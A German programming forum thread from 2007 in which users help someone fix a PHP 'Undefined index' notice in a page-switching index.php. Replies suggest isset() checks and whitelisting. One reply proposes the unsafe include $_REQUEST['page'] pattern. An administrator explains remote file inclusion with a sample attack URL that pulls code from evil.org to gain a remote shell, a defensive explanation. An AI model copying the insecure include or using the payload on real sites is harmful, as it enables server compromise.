Das deutsche QBasic- und FreeBASIC-Forum Foren-Übersicht Das deutsche QBasic- und FreeBASIC-Forum
Für euch erreichbar unter qb-forum.de, fb-forum.de und freebasic-forum.de!
 
FAQFAQ   SuchenSuchen   MitgliederlisteMitgliederliste   BenutzergruppenBenutzergruppen  RegistrierenRegistrieren
ProfilProfil   Einloggen, um private Nachrichten zu lesenEinloggen, um private Nachrichten zu lesen   LoginLogin
Zur Begleitseite des Forums / Chat / Impressum
Aktueller Forenpartner:

HTML, PHP-Umstellung, Wo liegt hier der Fehler?

 
Neues Thema eröffnen   Neue Antwort erstellen    Das deutsche QBasic- und FreeBASIC-Forum Foren-Übersicht -> Computer-Forum
Vorheriges Thema anzeigen :: Nächstes Thema anzeigen  
Autor Nachricht
The real Agent D



Anmeldungsdatum: 24.11.2005
Beiträge: 605
Wohnort: Hall i. T.

BeitragVerfasst am: 08.01.2007, 18:23    Titel: HTML, PHP-Umstellung, Wo liegt hier der Fehler? Antworten mit Zitat

Hi,

ich versuche seit längerem meine HP von HTML auf PHP umzustellen. Blöderweiße bekomme ich immer wieder folgende Fehlermeldung:
Code:

Notice: Undefined index: page in /usr/export/www/hosting/yenware/index.php on line 18

Hier mal der Code:
Code:

<?php
   error_reporting(E_ALL);
   echo "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0 Transitional//EN\">\n";
   echo "<html>\n";
   echo "<head>\n";
   echo "   <title>The real Agent D's Homepage - Die offizielle ¥-WARE Homepage</title>\n";
   echo "   <link rel=\"stylesheet\" type=\"text/css\" href=\"strucktur.css\" />\n";
   echo "   <meta http-equiv=\"Content-Type\" content=\"text/html\; charset=iso-8559-1\">\n";
   echo "   <meta name=\"description\" content=\"Alles mögliche über QB, QBASIC, FB(FreeBASIC), BASCOM, AVRs, und so weiter,...\">\n";
   echo "   <meta name=\"keywords\" content=\"QBasic,QBASIC,QB,QuickBasic,BASCOM,AVR,Tutorials,Downloads,Elektronik,HV,Forum\">\n";
   echo "   <meta name=\"author\" content=\"The real Agent D\">\n";
   echo "</head>\n";
   echo "<body>\n";
   echo "      <div id=\"links\">\n";
   include "http://yenware.ye.ohost.de/pages/Navigation.php";
   echo "      </div>\n";
   echo "      <div id=\"mitte\">\n";
   switch($_GET['page']) {
      case "avr":
         include "http://yenware.ye.ohost.de/pages/avr.php";
         break;
      case "bascom":
         include "http://yenware.ye.ohost.de/pages/bascom.php";
         break;
      case "asm":
         include "http://yenware.ye.ohost.de/pages/asm.php";
         break;
      case "cap":
         include "http://yenware.ye.ohost.de/pages/cap.php";
         break;
      case "ctrl":
         include "http://yenware.ye.ohost.de/pages/ctrl.php";
         break;
      case "news":
         include "http://yenware.ye.ohost.de/pages/Hauptseite.php";
         break;
      case "HVN":
         include "http://yenware.ye.ohost.de/pages/HVN.php";
         break;
      case "kb":
         include "http://yenware.ye.ohost.de/pages/kb.php";
         break;
      case "Kontakt":
         include "http://yenware.ye.ohost.de/pages/Kontakt.php";
         break;
      case "Links":
         include "http://yenware.ye.ohost.de/pages/Links.php";
         break;
      case "marxg":
         include "http://yenware.ye.ohost.de/pages/marxg.php";
         break;
      case "qbd":
         include "http://yenware.ye.ohost.de/pages/qbd.php";
         break;
      case "qbt":
         include "http://yenware.ye.ohost.de/pages/qbt.php";
         break;
      case "Tesla":
         include "http://yenware.ye.ohost.de/pages/Tesla.php";
         break;
      case "ukw":
         include "http://yenware.ye.ohost.de/pages/ukw.php";
         break;
      case "yen1":
         include "http://yenware.ye.ohost.de/pages/yen1.php";
         break;
      case "Forum":
         include "http://yenware.ye.ohost.de/pages/Forum/index.php";
         break;
      case "chat":
         include "http://yenware.ye.ohost.de/chat/index.php";
         break;
      case "gb":
         include "http://yenware.ye.ohost.de/pages/index.php";
         break;
      default:
         include "http://yenware.ye.ohost.de/pages/Hauptseite.php";
         break;
   }
   echo "      </div>\n";
   echo "  <br style=\"clear:both;\" />\n";
   echo "   </div>\n";
   echo "</body>\n";
   echo "</html>\n";
?>
Nach oben
Benutzer-Profile anzeigen Private Nachricht senden Website dieses Benutzers besuchen
A.K.



Anmeldungsdatum: 02.05.2005
Beiträge: 467
Wohnort: HH

BeitragVerfasst am: 08.01.2007, 18:29    Titel: Antworten mit Zitat

Hi,

hab den Titel mal ein wenig geändert.

2 Möglichkeiten:

1. Versuche mal die URL in Klammern zu setzen, also include ("http...");

2. Es kann sein das dein Hoster es nicht erlaubt "externe" Datei zu includieren. Abhilfe ist ein relativer Pfad alias include ("pages/Navigation.php");

MFG A.K.
_________________

http://forum.IconSoft.de
http://www.pnpbb.de - hol dir jetzt dein eigenes kostenloses Forum *NEU*
Nach oben
Benutzer-Profile anzeigen Private Nachricht senden E-Mail senden Website dieses Benutzers besuchen Yahoo Messenger MSN Messenger
Jojo
alter Rang


Anmeldungsdatum: 12.02.2005
Beiträge: 9736
Wohnort: Neben der Festplatte

BeitragVerfasst am: 08.01.2007, 20:29    Titel: Re: HTML, PHP-Umstellung, Wo liegt hier der Fehler? Antworten mit Zitat

The real Agent D hat Folgendes geschrieben:
Code:

Notice: Undefined index: page in /usr/export/www/hosting/yenware/index.php on line 18



Eigentlich hätte dann ja auch Zeile 18 (oder noch alles davor) gereicht...

Btw: Also WENN du schon unbedingt php verwenden möchtest, empfehle ich dir herzlichst, keine abfragen für seiten in deinem stil zu machen.
viel shcöner ist doch etwas wie
include $_REQUEST['page'] . ".php"; zwinkern
_________________
» Die Mathematik wurde geschaffen, um Probleme zu lösen, die es nicht gäbe, wenn die Mathematik nicht erschaffen worden wäre.
Nach oben
Benutzer-Profile anzeigen Private Nachricht senden Website dieses Benutzers besuchen
MisterD



Anmeldungsdatum: 10.09.2004
Beiträge: 3071
Wohnort: bei Darmstadt

BeitragVerfasst am: 09.01.2007, 00:01    Titel: Antworten mit Zitat

jo aber sowas von ungesund durchgeknallt
das problem ist, dass eben $_GET['page'] nicht existiert beim ersten seitenaufruf. du könntest vor dem switch() eine zueile ergänzen in etwa
if(!isset($_GET['page'])) $_GET['page']='';
bei isset wird geprüft ob der wert existiert (folglich gibts dabei auch kenie fehlermeldung) und wenn nicht wird er einfach auf "leer" gesetzt.

/edit: Aber in gewisser art hat jojo recht, die beste methode wäre vielleicht sogar sowas:
if(in_array($_GET['page'], array('avr', 'bascom', ...'))){include $_GET['page'].'.php';
(auch hier die zeile von oben drüber davorsetzen)
_________________
"It is practically impossible to teach good programming to students that have had a prior exposure to BASIC: as potential programmers they are mentally mutilated beyond hope of regeneration."
Edsger W. Dijkstra
Nach oben
Benutzer-Profile anzeigen Private Nachricht senden
dreael
Administrator


Anmeldungsdatum: 10.09.2004
Beiträge: 2529
Wohnort: Hofen SH (Schweiz)

BeitragVerfasst am: 09.01.2007, 09:14    Titel: Antworten mit Zitat

A.K. hat Folgendes geschrieben:
2. Es kann sein das dein Hoster es nicht erlaubt "externe" Datei zu includieren.

Sollte man auch nicht zulassen. Vielfach verwenden DAU-PHP-Programmierer eine Variable für die zu includende Datei, welche aus einem $_GET[]-Element berechnet wird. Und wenn dann tatsächlich
Code:
include($_GET["seite"]);

im Code vorkommt, kann ein Angreifer durch Aufruf als
Code:
http://www.daus-homepage.de/php/vulnerable.php?seite=http://www.evil.org/MyMalwarecode.txt

frisch und fröhlich fremden PHP-Code einschmuggeln, was im Falle, wenn noch system() zugelassen wird, sofort eine vollwertige Remote Shell mit den Rechten des "wwwrun"-Benutzers gibt, womit zur Eroberung des Webservers nur noch ein "Local privilege escalation"-Exploit noch angewendet werden muss. => Schachmatt für den Webserver.
_________________
Teste die PC-Sicherheit mit www.sec-check.net
Nach oben
Benutzer-Profile anzeigen Private Nachricht senden E-Mail senden Website dieses Benutzers besuchen
Jojo
alter Rang


Anmeldungsdatum: 12.02.2005
Beiträge: 9736
Wohnort: Neben der Festplatte

BeitragVerfasst am: 09.01.2007, 15:03    Titel: Antworten mit Zitat

MisterD hat Folgendes geschrieben:
jo aber sowas von ungesund durchgeknallt
das problem ist, dass eben $_GET['page'] nicht existiert beim ersten seitenaufruf. du könntest vor dem switch() eine zueile ergänzen in etwa
if(!isset($_GET['page'])) $_GET['page']='';
bei isset wird geprüft ob der wert existiert (folglich gibts dabei auch kenie fehlermeldung) und wenn nicht wird er einfach auf "leer" gesetzt.

/edit: Aber in gewisser art hat jojo recht, die beste methode wäre vielleicht sogar sowas:
if(in_array($_GET['page'], array('avr', 'bascom', ...'))){include $_GET['page'].'.php';
(auch hier die zeile von oben drüber davorsetzen)


ist natürlich schon klar, dass man z.B. den seitenaufruf nicht erluaben sollte, wenn z.B: ein \, / oder sontiges unlässiges zeichen in die variable reinlässt. ist IMHO ziemlich sichher. weil so kann wirkich nur sieten aufrufen, die sich im seitenverzeichnis befinden.
_________________
» Die Mathematik wurde geschaffen, um Probleme zu lösen, die es nicht gäbe, wenn die Mathematik nicht erschaffen worden wäre.
Nach oben
Benutzer-Profile anzeigen Private Nachricht senden Website dieses Benutzers besuchen
MisterD



Anmeldungsdatum: 10.09.2004
Beiträge: 3071
Wohnort: bei Darmstadt

BeitragVerfasst am: 09.01.2007, 18:43    Titel: Antworten mit Zitat

ich meinte $_REQUEST kann recht ungesund werden, da man Session-variablen über die GET-parameter vortäuschen könnte, sollte man sich lieber nicht angewöhnen.
_________________
"It is practically impossible to teach good programming to students that have had a prior exposure to BASIC: as potential programmers they are mentally mutilated beyond hope of regeneration."
Edsger W. Dijkstra
Nach oben
Benutzer-Profile anzeigen Private Nachricht senden
The real Agent D



Anmeldungsdatum: 24.11.2005
Beiträge: 605
Wohnort: Hall i. T.

BeitragVerfasst am: 10.01.2007, 18:31    Titel: Antworten mit Zitat

Erst mal Danke für alle Anworten.
Ich habe die http://yenware.ye.ohost.de/... Zeilen weggelöscht. Ich hab noch dieses if(!isset($_GET['page'])) $_GET['page']=''; Hinzugefügt. Es funtzt jetzt. Jetzt wird mir ein Fehler in der Navigation.php angezeigt. cool

mfg

The real Agent D
Nach oben
Benutzer-Profile anzeigen Private Nachricht senden Website dieses Benutzers besuchen
MisterD



Anmeldungsdatum: 10.09.2004
Beiträge: 3071
Wohnort: bei Darmstadt

BeitragVerfasst am: 10.01.2007, 20:35    Titel: Antworten mit Zitat

semikolon nach der letzten zeile vor besagtem echo (zeile 13) vergessen zwinkern
_________________
"It is practically impossible to teach good programming to students that have had a prior exposure to BASIC: as potential programmers they are mentally mutilated beyond hope of regeneration."
Edsger W. Dijkstra
Nach oben
Benutzer-Profile anzeigen Private Nachricht senden
Jojo
alter Rang


Anmeldungsdatum: 12.02.2005
Beiträge: 9736
Wohnort: Neben der Festplatte

BeitragVerfasst am: 10.01.2007, 20:54    Titel: Antworten mit Zitat

...der wohl häufigste php-fehler lachen
_________________
» Die Mathematik wurde geschaffen, um Probleme zu lösen, die es nicht gäbe, wenn die Mathematik nicht erschaffen worden wäre.
Nach oben
Benutzer-Profile anzeigen Private Nachricht senden Website dieses Benutzers besuchen
MisterD



Anmeldungsdatum: 10.09.2004
Beiträge: 3071
Wohnort: bei Darmstadt

BeitragVerfasst am: 11.01.2007, 01:25    Titel: Antworten mit Zitat

ich glaub der häufigste fehler ist eher if($a="hallo") lächeln
_________________
"It is practically impossible to teach good programming to students that have had a prior exposure to BASIC: as potential programmers they are mentally mutilated beyond hope of regeneration."
Edsger W. Dijkstra
Nach oben
Benutzer-Profile anzeigen Private Nachricht senden
Sebastian
Administrator


Anmeldungsdatum: 10.09.2004
Beiträge: 5969
Wohnort: Deutschland

BeitragVerfasst am: 11.01.2007, 11:46    Titel: Antworten mit Zitat

Also ich vergess auch das Semikolon am häufigsten, aber das findet man ja dank Fehlermeldung mit Zeilenangabe in php zum Glück schnell. An die Unterscheidung zwischen Vergleichs- und Zuweisungsoperator muss man sich als BASIC-Programmierer halt erst mal gewöhnen, aber wenn man's ein paar mal gemacht hat, hat man's imho verinnerlicht. lächeln
_________________

Die gefährlichsten Familienclans | Opas Leistung muss sich wieder lohnen - für 6 bis 10 Generationen!
Nach oben
Benutzer-Profile anzeigen Private Nachricht senden E-Mail senden Website dieses Benutzers besuchen
MisterD



Anmeldungsdatum: 10.09.2004
Beiträge: 3071
Wohnort: bei Darmstadt

BeitragVerfasst am: 11.01.2007, 14:47    Titel: Antworten mit Zitat

ich glaub letzendlich bleiben aber mehr davon übrig.. die semikolon-fehler bekommt man ja gesagt, bei dem = kommt einfach immer true raus wenn man nicht grade 0, "0", "", "false", false oder alles was sonst noch dahin evauliert zuweist..
_________________
"It is practically impossible to teach good programming to students that have had a prior exposure to BASIC: as potential programmers they are mentally mutilated beyond hope of regeneration."
Edsger W. Dijkstra
Nach oben
Benutzer-Profile anzeigen Private Nachricht senden
Flo
aka kleiner_hacker


Anmeldungsdatum: 23.06.2006
Beiträge: 1210

BeitragVerfasst am: 11.01.2007, 16:51    Titel: Antworten mit Zitat

[OT] hehe passiert mir ständig in cpp...
obwohl ich damit angefanbgen hab
aber seit qb vergess ich auch noich das semikolon. Kopf schütteln
_________________
MFG
Flo

Satoru Iwata: Wer Spaß am Spielen hat, fragt nicht nach Grafik.

zum korrekten Verstaendnis meiner Beitraege ist die regelmaessige Wartung des Ironiedetektors unerlaesslich.
Nach oben
Benutzer-Profile anzeigen Private Nachricht senden Website dieses Benutzers besuchen
Jojo
alter Rang


Anmeldungsdatum: 12.02.2005
Beiträge: 9736
Wohnort: Neben der Festplatte

BeitragVerfasst am: 11.01.2007, 20:32    Titel: Antworten mit Zitat

mir passierts im gegenteil schon oft,dass ich c-like in basic schreibe durchgeknallt aber mit dem = hat misterD recht, da sucht man oft vergebens nach dem fehler. außerdem vergesse ich in if-abfragen gerne mal das $ vor variablen (komisch, sonst vergesse ich es nie...) und trotz syntax highlighter finde ich den fehler net weinen
_________________
» Die Mathematik wurde geschaffen, um Probleme zu lösen, die es nicht gäbe, wenn die Mathematik nicht erschaffen worden wäre.
Nach oben
Benutzer-Profile anzeigen Private Nachricht senden Website dieses Benutzers besuchen
Beiträge der letzten Zeit anzeigen:   
Neues Thema eröffnen   Neue Antwort erstellen    Das deutsche QBasic- und FreeBASIC-Forum Foren-Übersicht -> Computer-Forum Alle Zeiten sind GMT + 1 Stunde
Seite 1 von 1

 
Gehe zu:  
Du kannst keine Beiträge in dieses Forum schreiben.
Du kannst auf Beiträge in diesem Forum nicht antworten.
Du kannst deine Beiträge in diesem Forum nicht bearbeiten.
Du kannst deine Beiträge in diesem Forum nicht löschen.
Du kannst an Umfragen in diesem Forum nicht mitmachen.

 Impressum :: Datenschutz